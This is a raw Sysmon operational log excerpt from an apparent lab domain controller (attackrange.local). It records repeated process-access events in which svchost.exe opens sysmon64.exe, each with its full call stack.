09:09:35.653{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001440Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.653{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001439Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.653{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001438Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.653{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001437Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.653{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001436Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.652{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001435Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.652{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001434Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.650{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001433Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.650{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001432Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.650{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001431Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.650{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001430Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.650{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001429Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.650{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001428Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.650{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001427Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.650{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001426Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.650{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001425Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.647{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001424Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.647{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001423Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.647{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001422Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.647{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001421Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.647{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001420Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.647{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001419Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.647{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001418Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.647{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001417Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 